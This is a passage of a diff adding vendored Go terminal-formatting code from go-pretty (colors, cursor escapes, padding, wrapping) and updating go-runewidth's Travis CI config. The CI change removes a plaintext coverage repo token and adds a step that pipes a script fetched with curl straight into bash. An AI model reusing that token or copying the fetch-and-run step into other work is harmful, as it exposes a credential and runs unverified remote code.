+	FgGreen
+	FgYellow
+	FgBlue
+	FgMagenta
+	FgCyan
+	FgWhite
+)
+
+// Foreground Hi-Intensity colors
+const (
+	FgHiBlack Color = iota + 90
+	FgHiRed
+	FgHiGreen
+	FgHiYellow
+	FgHiBlue
+	FgHiMagenta
+	FgHiCyan
+	FgHiWhite
+)
+
+// Background colors
+const (
+	BgBlack Color = iota + 40
+	BgRed
+	BgGreen
+	BgYellow
+	BgBlue
+	BgMagenta
+	BgCyan
+	BgWhite
+)
+
+// Background Hi-Intensity colors
+const (
+	BgHiBlack Color = iota + 100
+	BgHiRed
+	BgHiGreen
+	BgHiYellow
+	BgHiBlue
+	BgHiMagenta
+	BgHiCyan
+	BgHiWhite
+)
+
+// EscapeSeq returns the ANSI escape sequence for the color.
+func (c Color) EscapeSeq() string {
+	return EscapeStart + strconv.Itoa(int(c)) + EscapeStop
+}
+
+// HTMLProperty returns the "class" attribute for the color.
+func (c Color) HTMLProperty() string {
+	out := ""
+	if class, ok := colorCSSClassMap[c]; ok {
+		out = fmt.Sprintf("class=\"%s\"", class)
+	}
+	return out
+}
+
+// Sprint colorizes and prints the given string(s).
+func (c Color) Sprint(a ...interface{}) string {
+	return colorize(fmt.Sprint(a...), c.EscapeSeq())
+}
+
+// Sprintf formats and colorizes and prints the given string(s).
+func (c Color) Sprintf(format string, a ...interface{}) string {
+	return colorize(fmt.Sprintf(format, a...), c.EscapeSeq())
+}
+
+// Colors represents an array of Color objects to render with.
+// Example: Colors{FgCyan, BgBlack}
+type Colors []Color
+
+var (
+	// colorsSeqMap caches the escape sequence for a set of colors
+	colorsSeqMap = sync.Map{}
+)
+
+// EscapeSeq returns the ANSI escape sequence for the colors set.
+func (c Colors) EscapeSeq() string {
+	if len(c) == 0 {
+		return ""
+	}
+
+	colorsKey := fmt.Sprintf("%#v", c)
+	escapeSeq, ok := colorsSeqMap.Load(colorsKey)
+	if !ok || escapeSeq == "" {
+		colorNums := make([]string, len(c))
+		for idx, color := range c {
+			colorNums[idx] = strconv.Itoa(int(color))
+		}
+		escapeSeq = EscapeStart + strings.Join(colorNums, ";") + EscapeStop
+		colorsSeqMap.Store(colorsKey, escapeSeq)
+	}
+	return escapeSeq.(string)
+}
+
+// HTMLProperty returns the "class" attribute for the colors.
+func (c Colors) HTMLProperty() string {
+	if len(c) == 0 {
+		return ""
+	}
+
+	var classes []string
+	for _, color := range c {
+		if class, ok := colorCSSClassMap[color]; ok {
+			classes = append(classes, class)
+		}
+	}
+	if len(classes) > 1 {
+		sort.Strings(classes)
+	}
+	return fmt.Sprintf("class=\"%s\"", strings.Join(classes, " "))
+}
+
+// Sprint colorizes and prints the given string(s).
+func (c Colors) Sprint(a ...interface{}) string {
+	return colorize(fmt.Sprint(a...), c.EscapeSeq())
+}
+
+// Sprintf formats and colorizes and prints the given string(s).
+func (c Colors) Sprintf(format string, a ...interface{}) string {
+	return colorize(fmt.Sprintf(format, a...), c.EscapeSeq())
+}
+
+func colorize(s string, escapeSeq string) string {
+	if !colorsEnabled || escapeSeq == "" {
+		return s
+	}
+	return Escape(s, escapeSeq)
+}

vendor/github.com/jedib0t/go-pretty/v6/text/color_html.go

@@ -0,0 +1,48 @@
+package text
+
+var (
+	// colorCSSClassMap contains the equivalent CSS-class for all colors
+	colorCSSClassMap = map[Color]string{
+		Bold:         "bold",
+		Faint:        "faint",
+		Italic:       "italic",
+		Underline:    "underline",
+		BlinkSlow:    "blink-slow",
+		BlinkRapid:   "blink-rapid",
+		ReverseVideo: "reverse-video",
+		Concealed:    "concealed",
+		CrossedOut:   "crossed-out",
+		FgBlack:      "fg-black",
+		FgRed:        "fg-red",
+		FgGreen:      "fg-green",
+		FgYellow:     "fg-yellow",
+		FgBlue:       "fg-blue",
+		FgMagenta:    "fg-magenta",
+		FgCyan:       "fg-cyan",
+		FgWhite:      "fg-white",
+		FgHiBlack:    "fg-hi-black",
+		FgHiRed:      "fg-hi-red",
+		FgHiGreen:    "fg-hi-green",
+		FgHiYellow:   "fg-hi-yellow",
+		FgHiBlue:     "fg-hi-blue",
+		FgHiMagenta:  "fg-hi-magenta",
+		FgHiCyan:     "fg-hi-cyan",
+		FgHiWhite:    "fg-hi-white",
+		BgBlack:      "bg-black",
+		BgRed:        "bg-red",
+		BgGreen:      "bg-green",
+		BgYellow:     "bg-yellow",
+		BgBlue:       "bg-blue",
+		BgMagenta:    "bg-magenta",
+		BgCyan:       "bg-cyan",
+		BgWhite:      "bg-white",
+		BgHiBlack:    "bg-hi-black",
+		BgHiRed:      "bg-hi-red",
+		BgHiGreen:    "bg-hi-green",
+		BgHiYellow:   "bg-hi-yellow",
+		BgHiBlue:     "bg-hi-blue",
+		BgHiMagenta:  "bg-hi-magenta",
+		BgHiCyan:     "bg-hi-cyan",
+		BgHiWhite:    "bg-hi-white",
+	}
+)

vendor/github.com/jedib0t/go-pretty/v6/text/cursor.go

@@ -0,0 +1,39 @@
+package text
+
+import (
+	"fmt"
+)
+
+// Cursor helps move the cursor on the console in multiple directions.
+type Cursor rune
+
+const (
+	// CursorDown helps move the Cursor Down X lines
+	CursorDown Cursor = 'B'
+
+	// CursorLeft helps move the Cursor Left X characters
+	CursorLeft Cursor = 'D'
+
+	// CursorRight helps move the Cursor Right X characters
+	CursorRight Cursor = 'C'
+
+	// CursorUp helps move the Cursor Up X lines
+	CursorUp Cursor = 'A'
+
+	// EraseLine helps erase all characters to the Right of the Cursor in the
+	// current line
+	EraseLine Cursor = 'K'
+)
+
+// Sprint prints the Escape Sequence to move the Cursor once.
+func (c Cursor) Sprint() string {
+	return fmt.Sprintf("%s%c", EscapeStart, c)
+}
+
+// Sprintn prints the Escape Sequence to move the Cursor "n" times.
+func (c Cursor) Sprintn(n int) string {
+	if c == EraseLine {
+		return c.Sprint()
+	}
+	return fmt.Sprintf("%s%d%c", EscapeStart, n, c)
+}

vendor/github.com/jedib0t/go-pretty/v6/text/filter.go

@@ -0,0 +1,12 @@
+package text
+
+// Filter filters the slice 's' to items which return truth when passed to 'f'.
+func Filter(s []string, f func(string) bool) []string {
+	var out []string
+	for _, item := range s {
+		if f(item) {
+			out = append(out, item)
+		}
+	}
+	return out
+}

vendor/github.com/jedib0t/go-pretty/v6/text/format.go

@@ -0,0 +1,100 @@
+package text
+
+import (
+	"strings"
+	"unicode"
+)
+
+// Format lets you transform the text in supported methods while keeping escape
+// sequences in the string intact and untouched.
+type Format int
+
+// Format enumerations
+const (
+	FormatDefault Format = iota // default_Case
+	FormatLower                 // lower
+	FormatTitle                 // Title
+	FormatUpper                 // UPPER
+)
+
+// Apply converts the text as directed.
+func (tc Format) Apply(text string) string {
+	switch tc {
+	case FormatLower:
+		return strings.ToLower(text)
+	case FormatTitle:
+		return toTitle(text)
+	case FormatUpper:
+		return toUpper(text)
+	default:
+		return text
+	}
+}
+
+func toTitle(text string) string {
+	prev, inEscSeq := ' ', false
+	return strings.Map(
+		func(r rune) rune {
+			if r == EscapeStartRune {
+				inEscSeq = true
+			}
+			if !inEscSeq {
+				if isSeparator(prev) {
+					prev = r
+					r = unicode.ToUpper(r)
+				} else {
+					prev = r
+				}
+			}
+			if inEscSeq && r == EscapeStopRune {
+				inEscSeq = false
+			}
+			return r
+		},
+		text,
+	)
+}
+
+func toUpper(text string) string {
+	inEscSeq := false
+	return strings.Map(
+		func(r rune) rune {
+			if r == EscapeStartRune {
+				inEscSeq = true
+			}
+			if !inEscSeq {
+				r = unicode.ToUpper(r)
+			}
+			if inEscSeq && r == EscapeStopRune {
+				inEscSeq = false
+			}
+			return r
+		},
+		text,
+	)
+}
+
+// isSeparator returns true if the given rune is a separator. This function is
+// lifted straight out of the standard library @ strings/strings.go.
+func isSeparator(r rune) bool {
+	// ASCII alphanumerics and underscore are not separators
+	if r <= 0x7F {
+		switch {
+		case '0' <= r && r <= '9':
+			return false
+		case 'a' <= r && r <= 'z':
+			return false
+		case 'A' <= r && r <= 'Z':
+			return false
+		case r == '_':
+			return false
+		}
+		return true
+	}
+	// Letters and digits are not separators
+	if unicode.IsLetter(r) || unicode.IsDigit(r) {
+		return false
+	}
+	// Otherwise, all we can do for now is treat spaces as separators.
+	return unicode.IsSpace(r)
+}

vendor/github.com/jedib0t/go-pretty/v6/text/string.go

@@ -0,0 +1,204 @@
+package text
+
+import (
+	"strings"
+	"unicode/utf8"
+
+	"github.com/mattn/go-runewidth"
+)
+
+// Constants
+const (
+	EscapeReset     = EscapeStart + "0" + EscapeStop
+	EscapeStart     = "\x1b["
+	EscapeStartRune = rune(27) // \x1b
+	EscapeStop      = "m"
+	EscapeStopRune  = 'm'
+)
+
+// InsertEveryN inserts the rune every N characters in the string. For ex.:
+//  InsertEveryN("Ghost", '-', 1) == "G-h-o-s-t"
+//  InsertEveryN("Ghost", '-', 2) == "Gh-os-t"
+//  InsertEveryN("Ghost", '-', 3) == "Gho-st"
+//  InsertEveryN("Ghost", '-', 4) == "Ghos-t"
+//  InsertEveryN("Ghost", '-', 5) == "Ghost"
+func InsertEveryN(str string, runeToInsert rune, n int) string {
+	if n <= 0 {
+		return str
+	}
+
+	sLen := RuneCount(str)
+	var out strings.Builder
+	out.Grow(sLen + (sLen / n))
+	outLen, isEscSeq := 0, false
+	for idx, c := range str {
+		if c == EscapeStartRune {
+			isEscSeq = true
+		}
+
+		if !isEscSeq && outLen > 0 && (outLen%n) == 0 && idx != sLen {
+			out.WriteRune(runeToInsert)
+		}
+		out.WriteRune(c)
+		if !isEscSeq {
+			outLen += RuneWidth(c)
+		}
+
+		if isEscSeq && c == EscapeStopRune {
+			isEscSeq = false
+		}
+	}
+	return out.String()
+}
+
+// LongestLineLen returns the length of the longest "line" within the
+// argument string. For ex.:
+//  LongestLineLen("Ghost!\nCome back here!\nRight now!") == 15
+func LongestLineLen(str string) int {
+	maxLength, currLength, isEscSeq := 0, 0, false
+	for _, c := range str {
+		if c == EscapeStartRune {
+			isEscSeq = true
+		} else if isEscSeq && c == EscapeStopRune {
+			isEscSeq = false
+			continue
+		}
+
+		if c == '\n' {
+			if currLength > maxLength {
+				maxLength = currLength
+			}
+			currLength = 0
+		} else if !isEscSeq {
+			currLength += RuneWidth(c)
+		}
+	}
+	if currLength > maxLength {
+		maxLength = currLength
+	}
+	return maxLength
+}
+
+// Pad pads the given string with as many characters as needed to make it as
+// long as specified (maxLen). This function does not count escape sequences
+// while calculating length of the string. Ex.:
+//  Pad("Ghost", 0, ' ') == "Ghost"
+//  Pad("Ghost", 3, ' ') == "Ghost"
+//  Pad("Ghost", 5, ' ') == "Ghost"
+//  Pad("Ghost", 7, ' ') == "Ghost  "
+//  Pad("Ghost", 10, '.') == "Ghost....."
+func Pad(str string, maxLen int, paddingChar rune) string {
+	strLen := RuneCount(str)
+	if strLen < maxLen {
+		str += strings.Repeat(string(paddingChar), maxLen-strLen)
+	}
+	return str
+}
+
+// RepeatAndTrim repeats the given string until it is as long as maxRunes.
+// For ex.:
+//  RepeatAndTrim("", 5) == ""
+//  RepeatAndTrim("Ghost", 0) == ""
+//  RepeatAndTrim("Ghost", 5) == "Ghost"
+//  RepeatAndTrim("Ghost", 7) == "GhostGh"
+//  RepeatAndTrim("Ghost", 10) == "GhostGhost"
+func RepeatAndTrim(str string, maxRunes int) string {
+	if str == "" || maxRunes == 0 {
+		return ""
+	} else if maxRunes == utf8.RuneCountInString(str) {
+		return str
+	}
+	repeatedS := strings.Repeat(str, int(maxRunes/utf8.RuneCountInString(str))+1)
+	return Trim(repeatedS, maxRunes)
+}
+
+// RuneCount is similar to utf8.RuneCountInString, except for the fact that it
+// ignores escape sequences while counting. For ex.:
+//  RuneCount("") == 0
+//  RuneCount("Ghost") == 5
+//  RuneCount("\x1b[33mGhost\x1b[0m") == 5
+//  RuneCount("\x1b[33mGhost\x1b[0") == 5
+func RuneCount(str string) int {
+	count, isEscSeq := 0, false
+	for _, c := range str {
+		if c == EscapeStartRune {
+			isEscSeq = true
+		} else if isEscSeq {
+			if c == EscapeStopRune {
+				isEscSeq = false
+			}
+		} else {
+			count += RuneWidth(c)
+		}
+	}
+	return count
+}
+
+// RuneWidth returns the mostly accurate character-width of the rune. This is
+// not 100% accurate as the character width is usually dependant on the
+// typeface (font) used in the console/terminal. For ex.:
+//  RuneWidth('A') == 1
+//  RuneWidth('ツ') == 2
+//  RuneWidth('⊙') == 1
+//  RuneWidth('︿') == 2
+//  RuneWidth(0x27) == 0
+func RuneWidth(r rune) int {
+	return runewidth.RuneWidth(r)
+}
+
+// Snip returns the given string with a fixed length. For ex.:
+//  Snip("Ghost", 0, "~") == "Ghost"
+//  Snip("Ghost", 1, "~") == "~"
+//  Snip("Ghost", 3, "~") == "Gh~"
+//  Snip("Ghost", 5, "~") == "Ghost"
+//  Snip("Ghost", 7, "~") == "Ghost  "
+//  Snip("\x1b[33mGhost\x1b[0m", 7, "~") == "\x1b[33mGhost\x1b[0m  "
+func Snip(str string, length int, snipIndicator string) string {
+	if length > 0 {
+		lenStr := RuneCount(str)
+		if lenStr > length {
+			lenStrFinal := length - RuneCount(snipIndicator)
+			return Trim(str, lenStrFinal) + snipIndicator
+		}
+	}
+	return str
+}
+
+// Trim trims a string to the given length while ignoring escape sequences. For
+// ex.:
+//  Trim("Ghost", 3) == "Gho"
+//  Trim("Ghost", 6) == "Ghost"
+//  Trim("\x1b[33mGhost\x1b[0m", 3) == "\x1b[33mGho\x1b[0m"
+//  Trim("\x1b[33mGhost\x1b[0m", 6) == "\x1b[33mGhost\x1b[0m"
+func Trim(str string, maxLen int) string {
+	if maxLen <= 0 {
+		return ""
+	}
+
+	var out strings.Builder
+	out.Grow(maxLen)
+
+	outLen, isEscSeq, lastEscSeq := 0, false, strings.Builder{}
+	for _, sChr := range str {
+		out.WriteRune(sChr)
+		if sChr == EscapeStartRune {
+			isEscSeq = true
+			lastEscSeq.Reset()
+			lastEscSeq.WriteRune(sChr)
+		} else if isEscSeq {
+			lastEscSeq.WriteRune(sChr)
+			if sChr == EscapeStopRune {
+				isEscSeq = false
+			}
+		} else {
+			outLen++
+			if outLen == maxLen {
+				break
+			}
+		}
+	}
+	if lastEscSeq.Len() > 0 && lastEscSeq.String() != EscapeReset {
+		out.WriteString(EscapeReset)
+	}
+	return out.String()
+}

vendor/github.com/jedib0t/go-pretty/v6/text/transformer.go

@@ -0,0 +1,201 @@
+package text
+
+import (
+	"bytes"
+	"encoding/json"
+	"fmt"
+	"strconv"
+	"strings"
+	"time"
+)
+
+// Transformer related constants
+const (
+	unixTimeMinMilliseconds = int64(10000000000)
+	unixTimeMinMicroseconds = unixTimeMinMilliseconds * 1000
+	unixTimeMinNanoSeconds  = unixTimeMinMicroseconds * 1000
+)
+
+// Transformer related variables
+var (
+	colorsNumberPositive = Colors{FgHiGreen}
+	colorsNumberNegative = Colors{FgHiRed}
+	colorsNumberZero     = Colors{}
+	colorsURL            = Colors{Underline, FgBlue}
+	rfc3339Milli         = "2006-01-02T15:04:05.000Z07:00"
+	rfc3339Micro         = "2006-01-02T15:04:05.000000Z07:00"
+
+	possibleTimeLayouts = []string{
+		time.RFC3339,
+		rfc3339Milli, // strfmt.DateTime.String()'s default layout
+		rfc3339Micro,
+		time.RFC3339Nano,
+	}
+)
+
+// Transformer helps format the contents of an object to the user's liking.
+type Transformer func(val interface{}) string
+
+// NewNumberTransformer returns a number Transformer that:
+//   * transforms the number as directed by 'format' (ex.: %.2f)
+//   * colors negative values Red
+//   * colors positive values Green
+func NewNumberTransformer(format string) Transformer {
+	return func(val interface{}) string {
+		if number, ok := val.(int); ok {
+			return transformInt(format, int64(number))
+		}
+		if number, ok := val.(int8); ok {
+			return transformInt(format, int64(number))
+		}
+		if number, ok := val.(int16); ok {
+			return transformInt(format, int64(number))
+		}
+		if number, ok := val.(int32); ok {
+			return transformInt(format, int64(number))
+		}
+		if number, ok := val.(int64); ok {
+			return transformInt(format, int64(number))
+		}
+		if number, ok := val.(uint); ok {
+			return transformUint(format, uint64(number))
+		}
+		if number, ok := val.(uint8); ok {
+			return transformUint(format, uint64(number))
+		}
+		if number, ok := val.(uint16); ok {
+			return transformUint(format, uint64(number))
+		}
+		if number, ok := val.(uint32); ok {
+			return transformUint(format, uint64(number))
+		}
+		if number, ok := val.(uint64); ok {
+			return transformUint(format, uint64(number))
+		}
+		if number, ok := val.(float32); ok {
+			return transformFloat(format, float64(number))
+		}
+		if number, ok := val.(float64); ok {
+			return transformFloat(format, float64(number))
+		}
+		return fmt.Sprint(val)
+	}
+}
+
+func transformInt(format string, val int64) string {
+	if val < 0 {
+		return colorsNumberNegative.Sprintf("-"+format, -val)
+	}
+	if val > 0 {
+		return colorsNumberPositive.Sprintf(format, val)
+	}
+	return colorsNumberZero.Sprintf(format, val)
+}
+
+func transformUint(format string, val uint64) string {
+	if val > 0 {
+		return colorsNumberPositive.Sprintf(format, val)
+	}
+	return colorsNumberZero.Sprintf(format, val)
+}
+
+func transformFloat(format string, val float64) string {
+	if val < 0 {
+		return colorsNumberNegative.Sprintf("-"+format, -val)
+	}
+	if val > 0 {
+		return colorsNumberPositive.Sprintf(format, val)
+	}
+	return colorsNumberZero.Sprintf(format, val)
+}
+
+// NewJSONTransformer returns a Transformer that can format a JSON string or an
+// object into pretty-indented JSON-strings.
+func NewJSONTransformer(prefix string, indent string) Transformer {
+	return func(val interface{}) string {
+		if valStr, ok := val.(string); ok {
+			var b bytes.Buffer
+			if err := json.Indent(&b, []byte(strings.TrimSpace(valStr)), prefix, indent); err == nil {
+				return string(b.Bytes())
+			}
+		} else if b, err := json.MarshalIndent(val, prefix, indent); err == nil {
+			return string(b)
+		}
+		return fmt.Sprintf("%#v", val)
+	}
+}
+
+// NewTimeTransformer returns a Transformer that can format a timestamp (a
+// time.Time) into a well-defined time format defined using the provided layout
+// (ex.: time.RFC3339).
+//
+// If a non-nil location value is provided, the time will be localized to that
+// location (use time.Local to get localized timestamps).
+func NewTimeTransformer(layout string, location *time.Location) Transformer {
+	return func(val interface{}) string {
+		formatTime := func(t time.Time) string {
+			rsp := ""
+			if t.Unix() > 0 {
+				if location != nil {
+					t = t.In(location)
+				}
+				rsp = t.Format(layout)
+			}
+			return rsp
+		}
+
+		rsp := fmt.Sprint(val)
+		if valTime, ok := val.(time.Time); ok {
+			rsp = formatTime(valTime)
+		} else {
+			// cycle through some supported layouts to see if the string form
+			// of the object matches any of these layouts
+			for _, possibleTimeLayout := range possibleTimeLayouts {
+				if valTime, err := time.Parse(possibleTimeLayout, rsp); err == nil {
+					rsp = formatTime(valTime)
+					break
+				}
+			}
+		}
+		return rsp
+	}
+}
+
+// NewUnixTimeTransformer returns a Transformer that can format a unix-timestamp
+// into a well-defined time format as defined by 'layout'. This can handle
+// unix-time in Seconds, MilliSeconds, Microseconds and Nanoseconds.
+//
+// If a non-nil location value is provided, the time will be localized to that
+// location (use time.Local to get localized timestamps).
+func NewUnixTimeTransformer(layout string, location *time.Location) Transformer {
+	timeTransformer := NewTimeTransformer(layout, location)
+	formatUnixTime := func(unixTime int64) string {
+		if unixTime >= unixTimeMinNanoSeconds {
+			unixTime = unixTime / time.Second.Nanoseconds()
+		} else if unixTime >= unixTimeMinMicroseconds {
+			unixTime = unixTime / (time.Second.Nanoseconds() / 1000)
+		} else if unixTime >= unixTimeMinMilliseconds {
+			unixTime = unixTime / (time.Second.Nanoseconds() / 1000000)
+		}
+		return timeTransformer(time.Unix(unixTime, 0))
+	}
+
+	return func(val interface{}) string {
+		if unixTime, ok := val.(int64); ok {
+			return formatUnixTime(unixTime)
+		} else if unixTimeStr, ok := val.(string); ok {
+			if unixTime, err := strconv.ParseInt(unixTimeStr, 10, 64); err == nil {
+				return formatUnixTime(unixTime)
+			}
+		}
+		return fmt.Sprint(val)
+	}
+}
+
+// NewURLTransformer returns a Transformer that can format and pretty print a string
+// that contains an URL (the text is underlined and colored Blue).
+func NewURLTransformer() Transformer {
+	return func(val interface{}) string {
+		return colorsURL.Sprint(val)
+	}
+}

vendor/github.com/jedib0t/go-pretty/v6/text/valign.go

@@ -0,0 +1,67 @@
+package text
+
+import "strings"
+
+// VAlign denotes how text is to be aligned vertically.
+type VAlign int
+
+// VAlign enumerations
+const (
+	VAlignDefault VAlign = iota // same as VAlignTop
+	VAlignTop                   // "top\n\n"
+	VAlignMiddle                // "\nmiddle\n"
+	VAlignBottom                // "\n\nbottom"
+)
+
+// Apply aligns the lines vertically. For ex.:
+//  * VAlignTop.Apply({"Game", "Of", "Thrones"},    5)
+// 	    returns {"Game", "Of", "Thrones", "", ""}
+//  * VAlignMiddle.Apply({"Game", "Of", "Thrones"}, 5)
+// 	    returns {"", "Game", "Of", "Thrones", ""}
+//  * VAlignBottom.Apply({"Game", "Of", "Thrones"}, 5)
+// 	    returns {"", "", "Game", "Of", "Thrones"}
+func (va VAlign) Apply(lines []string, maxLines int) []string {
+	if len(lines) == maxLines {
+		return lines
+	} else if len(lines) > maxLines {
+		maxLines = len(lines)
+	}
+
+	insertIdx := 0
+	if va == VAlignMiddle {
+		insertIdx = int(maxLines-len(lines)) / 2
+	} else if va == VAlignBottom {
+		insertIdx = maxLines - len(lines)
+	}
+
+	linesOut := strings.Split(strings.Repeat("\n", maxLines-1), "\n")
+	for idx, line := range lines {
+		linesOut[idx+insertIdx] = line
+	}
+	return linesOut
+}
+
+// ApplyStr aligns the string (of 1 or more lines) vertically. For ex.:
+//  * VAlignTop.ApplyStr("Game\nOf\nThrones",    5)
+// 	    returns {"Game", "Of", "Thrones", "", ""}
+//  * VAlignMiddle.ApplyStr("Game\nOf\nThrones", 5)
+// 	    returns {"", "Game", "Of", "Thrones", ""}
+//  * VAlignBottom.ApplyStr("Game\nOf\nThrones", 5)
+// 	    returns {"", "", "Game", "Of", "Thrones"}
+func (va VAlign) ApplyStr(text string, maxLines int) []string {
+	return va.Apply(strings.Split(text, "\n"), maxLines)
+}
+
+// HTMLProperty returns the equivalent HTML vertical-align tag property.
+func (va VAlign) HTMLProperty() string {
+	switch va {
+	case VAlignTop:
+		return "valign=\"top\""
+	case VAlignMiddle:
+		return "valign=\"middle\""
+	case VAlignBottom:
+		return "valign=\"bottom\""
+	default:
+		return ""
+	}
+}

vendor/github.com/jedib0t/go-pretty/v6/text/wrap.go

@@ -0,0 +1,256 @@
+package text
+
+import (
+	"strings"
+	"unicode/utf8"
+)
+
+// WrapHard wraps a string to the given length using a newline. Handles strings
+// with ANSI escape sequences (such as text color) without breaking the text
+// formatting. Breaks all words that go beyond the line boundary.
+//
+// For examples, refer to the unit-tests or GoDoc examples.
+func WrapHard(str string, wrapLen int) string {
+	if wrapLen <= 0 {
+		return ""
+	}
+	str = strings.Replace(str, "\t", "    ", -1)
+	sLen := utf8.RuneCountInString(str)
+	if sLen <= wrapLen {
+		return str
+	}
+
+	out := &strings.Builder{}
+	out.Grow(sLen + (sLen / wrapLen))
+	for idx, paragraph := range strings.Split(str, "\n\n") {
+		if idx > 0 {
+			out.WriteString("\n\n")
+		}
+		wrapHard(paragraph, wrapLen, out)
+	}
+
+	return out.String()
+}
+
+// WrapSoft wraps a string to the given length using a newline. Handles strings
+// with ANSI escape sequences (such as text color) without breaking the text
+// formatting. Tries to move words that go beyond the line boundary to the next
+// line.
+//
+// For examples, refer to the unit-tests or GoDoc examples.
+func WrapSoft(str string, wrapLen int) string {
+	if wrapLen <= 0 {
+		return ""
+	}
+	str = strings.Replace(str, "\t", "    ", -1)
+	sLen := utf8.RuneCountInString(str)
+	if sLen <= wrapLen {
+		return str
+	}
+
+	out := &strings.Builder{}
+	out.Grow(sLen + (sLen / wrapLen))
+	for idx, paragraph := range strings.Split(str, "\n\n") {
+		if idx > 0 {
+			out.WriteString("\n\n")
+		}
+		wrapSoft(paragraph, wrapLen, out)
+	}
+
+	return out.String()
+}
+
+// WrapText is very similar to WrapHard except for one minor difference. Unlike
+// WrapHard which discards line-breaks and respects only paragraph-breaks, this
+// function respects line-breaks too.
+//
+// For examples, refer to the unit-tests or GoDoc examples.
+func WrapText(str string, wrapLen int) string {
+	if wrapLen <= 0 {
+		return ""
+	}
+
+	var out strings.Builder
+	sLen := utf8.RuneCountInString(str)
+	out.Grow(sLen + (sLen / wrapLen))
+	lineIdx, isEscSeq, lastEscSeq := 0, false, ""
+	for _, char := range str {
+		if char == EscapeStartRune {
+			isEscSeq = true
+			lastEscSeq = ""
+		}
+		if isEscSeq {
+			lastEscSeq += string(char)
+		}
+
+		appendChar(char, wrapLen, &lineIdx, isEscSeq, lastEscSeq, &out)
+
+		if isEscSeq && char == EscapeStopRune {
+			isEscSeq = false
+		}
+		if lastEscSeq == EscapeReset {
+			lastEscSeq = ""
+		}
+	}
+	if lastEscSeq != "" && lastEscSeq != EscapeReset {
+		out.WriteString(EscapeReset)
+	}
+	return out.String()
+}
+
+func appendChar(char rune, wrapLen int, lineLen *int, inEscSeq bool, lastSeenEscSeq string, out *strings.Builder) {
+	// handle reaching the end of the line as dictated by wrapLen or by finding
+	// a newline character
+	if (*lineLen == wrapLen && !inEscSeq && char != '\n') || (char == '\n') {
+		if lastSeenEscSeq != "" {
+			// terminate escape sequence and the line; and restart the escape
+			// sequence in the next line
+			out.WriteString(EscapeReset)
+			out.WriteRune('\n')
+			out.WriteString(lastSeenEscSeq)
+		} else {
+			// just start a new line
+			out.WriteRune('\n')
+		}
+		// reset line index to 0th character
+		*lineLen = 0
+	}
+
+	// if the rune is not a new line, output it
+	if char != '\n' {
+		out.WriteRune(char)
+
+		// increment the line index if not in the middle of an escape sequence
+		if !inEscSeq {
+			*lineLen++
+		}
+	}
+}
+
+func appendWord(word string, lineIdx *int, lastSeenEscSeq string, wrapLen int, out *strings.Builder) {
+	inEscSeq := false
+	for _, char := range word {
+		if char == EscapeStartRune {
+			inEscSeq = true
+			lastSeenEscSeq = ""
+		}
+		if inEscSeq {
+			lastSeenEscSeq += string(char)
+		}
+
+		appendChar(char, wrapLen, lineIdx, inEscSeq, lastSeenEscSeq, out)
+
+		if inEscSeq && char == EscapeStopRune {
+			inEscSeq = false
+		}
+		if lastSeenEscSeq == EscapeReset {
+			lastSeenEscSeq = ""
+		}
+	}
+}
+
+func extractOpenEscapeSeq(str string) string {
+	escapeSeq, inEscSeq := "", false
+	for _, char := range str {
+		if char == EscapeStartRune {
+			inEscSeq = true
+			escapeSeq = ""
+		}
+		if inEscSeq {
+			escapeSeq += string(char)
+		}
+		if char == EscapeStopRune {
+			inEscSeq = false
+		}
+	}
+	if escapeSeq == EscapeReset {
+		escapeSeq = ""
+	}
+	return escapeSeq
+}
+
+func terminateLine(wrapLen int, lineLen *int, lastSeenEscSeq string, out *strings.Builder) {
+	if *lineLen < wrapLen {
+		out.WriteString(strings.Repeat(" ", wrapLen-*lineLen))
+	}
+	// something is already on the line; terminate it
+	if lastSeenEscSeq != "" {
+		out.WriteString(EscapeReset)
+	}
+	out.WriteRune('\n')
+	out.WriteString(lastSeenEscSeq)
+	*lineLen = 0
+}
+
+func terminateOutput(lastSeenEscSeq string, out *strings.Builder) {
+	if lastSeenEscSeq != "" && lastSeenEscSeq != EscapeReset && !strings.HasSuffix(out.String(), EscapeReset) {
+		out.WriteString(EscapeReset)
+	}
+}
+
+func wrapHard(paragraph string, wrapLen int, out *strings.Builder) {
+	lineLen, lastSeenEscSeq := 0, ""
+	words := strings.Fields(paragraph)
+	for wordIdx, word := range words {
+		escSeq := extractOpenEscapeSeq(word)
+		if escSeq != "" {
+			lastSeenEscSeq = escSeq
+		}
+		if lineLen > 0 {
+			out.WriteRune(' ')
+			lineLen++
+		}
+
+		wordLen := RuneCount(word)
+		if lineLen+wordLen <= wrapLen { // word fits within the line
+			out.WriteString(word)
+			lineLen += wordLen
+		} else { // word doesn't fit within the line; hard-wrap
+			appendWord(word, &lineLen, lastSeenEscSeq, wrapLen, out)
+		}
+
+		// end of line; but more words incoming
+		if lineLen == wrapLen && wordIdx < len(words)-1 {
+			terminateLine(wrapLen, &lineLen, lastSeenEscSeq, out)
+		}
+	}
+	terminateOutput(lastSeenEscSeq, out)
+}
+
+func wrapSoft(paragraph string, wrapLen int, out *strings.Builder) {
+	lineLen, lastSeenEscSeq := 0, ""
+	words := strings.Fields(paragraph)
+	for wordIdx, word := range words {
+		escSeq := extractOpenEscapeSeq(word)
+		if escSeq != "" {
+			lastSeenEscSeq = escSeq
+		}
+		spacing, spacingLen := "", 0
+		if lineLen > 0 {
+			spacing, spacingLen = " ", 1
+		}
+
+		wordLen := RuneCount(word)
+		if lineLen+spacingLen+wordLen <= wrapLen { // word fits within the line
+			out.WriteString(spacing)
+			out.WriteString(word)
+			lineLen += spacingLen + wordLen
+		} else { // word doesn't fit within the line
+			if lineLen > 0 { // something is already on the line; terminate it
+				terminateLine(wrapLen, &lineLen, lastSeenEscSeq, out)
+			}
+			if wordLen <= wrapLen { // word fits within a single line
+				out.WriteString(word)
+				lineLen = wordLen
+			} else { // word doesn't fit within a single line; hard-wrap
+				appendWord(word, &lineLen, lastSeenEscSeq, wrapLen, out)
+			}
+		}
+
+		// end of line; but more words incoming
+		if lineLen == wrapLen && wordIdx < len(words)-1 {
+			terminateLine(wrapLen, &lineLen, lastSeenEscSeq, out)
+		}
+	}
+	terminateOutput(lastSeenEscSeq, out)
+}

vendor/github.com/mattn/go-runewidth/.travis.yml

@@ -1,8 +1,16 @@
 language: go
+sudo: false
 go:
+  - 1.13.x
   - tip
+
 before_install:
-  - go get github.com/mattn/goveralls
-  - go get golang.org/x/tools/cmd/cover
+  - go get -t -v ./...
+
 script:
-    - $HOME/gopath/bin/goveralls -repotoken lAKAWPzcGsD3A8yBX3BGGtRUdJ6CaGERL
+  - go generate
+  - git diff --cached --exit-code
+  - ./go.test.sh
+
+after_success:
+  - bash <(curl -s https://codecov.io/bash)

